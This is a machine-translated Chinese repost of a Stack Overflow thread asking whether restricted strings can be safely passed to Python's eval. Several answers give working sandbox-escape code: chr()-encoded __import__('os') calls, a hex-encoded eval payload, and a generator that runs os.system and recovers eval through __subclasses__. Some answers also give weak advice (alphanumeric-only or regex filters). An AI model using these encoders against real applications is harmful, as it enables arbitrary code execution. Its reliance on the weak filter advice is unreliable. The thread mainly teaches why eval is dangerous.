有没有一种办法,以确保字符串为Python的eval?(Is there a way to secu

2019-08-01 21:31发布

有对SO有关使用在不安全的字符串的Python的eval许多问题(例如: Python中的安全性的eval()在不安全的条件? , Python的:使EVAL安全 )。 一致的答案是,这是一个坏主意。

然而,我发现很少了解哪些字符串可以被认为是安全的(如果有的话)。 现在我不知道是否有“安全弦”的定义可用的(例如:仅包含小写字符的ASCII或任何迹象字符串+ - * /())。 我发现的漏洞利用一般依靠任一的_,:[]'”等这样的方法可以是安全(用在图中画的Web应用程序)?

否则,我想用解析包作为亚历克斯·马尔泰利建议是唯一的出路。

编辑:不幸的是,有没有答案,让为什么/上述字符串是如何被认为是不安全的,相反一个令人信服的解释(一小工作漏洞),也不解释。 据我所知,使用eval应该是可以避免的,但是这不是问题。 因此,我会奖励赏金给谁用是工作出现的第一个漏洞或一个很好的解释,为什么错位如上文所述的字符串是(在)的安全考虑。

Answer 1:

在这里,你有一个工作的“攻击”与地方的限制 - 只包含小写字符的ASCII或任何迹象+ - * /()。 它依赖于一个第二EVAL层上。

def mask_code( python_code ):
    s="+".join(["chr("+str(ord(i))+")" for i in python_code])
    return "eval("+s+")"

bad_code='''__import__("os").getcwd()'''
masked= mask_code( bad_code )
print masked
print eval(bad_code)

输出:

eval(chr(111)+chr(115)+chr(46)+chr(103)+chr(101)+chr(116)+chr(99)+chr(119)+chr(100)+chr(40)+chr(41))
/home/user

这是一个非常平凡的 “攻击”。 我敢肯定有无数的人,即使有进一步的字符限制。 值得重申的是每个人都应该使用解析器或ast.literal_eval()。 只有通过解析令牌可以肯定的字符串是安全的评估。 还有什么是对赌的房子。



Answer 2:

没有,没有,或者至少不是一个明智的,真正安全的方式。 Python是一个高度动态的语言,那不利的一面是,它很容易颠覆任何试图锁定的语言了。

你要么需要编写自己的解析器,你想要的子集,或者使用一些现有的,像ast.literal_eval()特定情况下,你遇到他们。 使用专用于手头的工作,而不是试图迫使现有的人做你想要的工作,糟糕的工具。

编辑:

两个字符串,认为,虽然装修你的描述,如果一个实例eval()以便编辑,会执行任意代码(这个特殊的例子运行evil.__method__()

"from binascii import *"
"eval(unhexlify('6576696c2e5f5f6d6574686f645f5f2829'))"


Answer 3:

要研究如何使安全EVAL我建议RestrictedPython模块(超过10年生产使用的,一个好的一件Python的软件)

http://pypi.python.org/pypi/RestrictedPython

RestrictedPython需要Python源代码并修改其AST(抽象语法树),以使在沙箱中评价安全,无任何泄漏的Python内部可能允许逃出沙盒。

从RestrictedPython源代码,您将学习如何执行,以使Python沙盒安全需要什么样的招数。



Answer 4:

一个漏洞类似goncalopp的,但也满足该字符串的限制'eval'是不是该漏洞的子字符串:

def to_chrs(text):
    return '+'.join('chr(%d)' % ord(c) for c in text)

def _make_getattr_call(obj, attr):
    return 'getattr(*(list(%s for a in chr(1)) + list(%s for a in chr(1))))' % (obj, attr)

def make_exploit(code):
    get = to_chrs('get')
    builtins = to_chrs('__builtins__')
    eval = to_chrs('eval')
    code = to_chrs(code)
    return (_make_getattr_call(
                _make_getattr_call('globals()', '{get}') + '({builtins})',
                '{eval}') + '({code})').format(**locals())

它采用genexp和元组拆包调用组合getattr有两个参数,而不使用逗号。

用法示例:

>>> exploit =  make_exploit('__import__("os").system("echo $PWD")')
>>> print exploit
getattr(*(list(getattr(*(list(globals() for a in chr(1)) + list(chr(103)+chr(101)+chr(116) for a in chr(1))))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)) for a in chr(1)) + list(chr(101)+chr(118)+chr(97)+chr(108) for a in chr(1))))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(34)+chr(111)+chr(115)+chr(34)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(34)+chr(101)+chr(99)+chr(104)+chr(111)+chr(32)+chr(36)+chr(80)+chr(87)+chr(68)+chr(34)+chr(41))
>>> eval(exploit)
/home/giacomo
0

这证明,仅在使代码安全真的很难文字定义的限制。 即使喜欢的东西'eval' in code是不是安全。 要么你必须删除所有执行函数调用的可能性,或者您必须删除所有危险的内置插件eval的环境。 我的攻击也表明getattr是一样糟糕eval ,即使你不能使用逗号,因为它可以让你任意行走到对象的层次结构。 例如,您可以得到真正eval函数,即使环境并没有提供它:

def real_eval():
    get_subclasses = _make_getattr_call(
                         _make_getattr_call(
                             _make_getattr_call('()',
                                 to_chrs('__class__')),
                             to_chrs('__base__')),
                         to_chrs('__subclasses__')) + '()'

    catch_warnings = 'next(c for c in %s if %s == %s)()' % (get_subclasses,
                                                            _make_getattr_call('c',
                                                                to_chrs('__name__')),
                                                            to_chrs('catch_warnings'))

    return _make_getattr_call(
               _make_getattr_call(
                   _make_getattr_call(catch_warnings, to_chrs('_module')),
                   to_chrs('__builtins__')),
               to_chrs('get')) + '(%s)' % to_chrs('eval')


>>> no_eval = __builtins__.__dict__.copy()
>>> del no_eval['eval']
>>> eval(real_eval(), {'__builtins__': no_eval})
<built-in function eval>

即使如果删除了所有的内置插件,然后将代码变得安全:

>>> eval(real_eval(), {'__builtins__': None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
NameError: name 'getattr' is not defined

请注意,设置'__builtins__'None还会删除chrlisttuple等你的性格restrinctions的组合 '__builtins__'None是完全安全的,因为用户无法访问任何东西。 他不能使用. 中,括号[]或任何内置功能或类型。

即使我必须这样说的话,你可以评估是相当有限的。 你不能这样做不是做数字运算等等。

也许这足以去除evalgetattrchr从内置插件,使代码安全的,至少我不能想办法写一个利用不使用其中之一。

A“解析”的方法可能是更安全,提供了更多的灵活性。 例如这个食谱是相当不错的,也是很容易定制,以增加更多的限制。



Answer 5:

你或许应该避免的eval,其实。

但是,如果你坚持了下来,你可能只是确保你的字符串是字母数字。 这应该是安全的。



Answer 6:

这是不够的创建输入消毒程序。 你还必须确保消毒不一次无意中省略。 要做到这一点的方法之一是错误检查 。



Answer 7:

假设命名函数存在,并且是安全的:

if re.match("^(?:safe|soft|cotton|ball|[()])+$", code): eval(code)


文章来源: Is there a way to secure strings for Python's eval?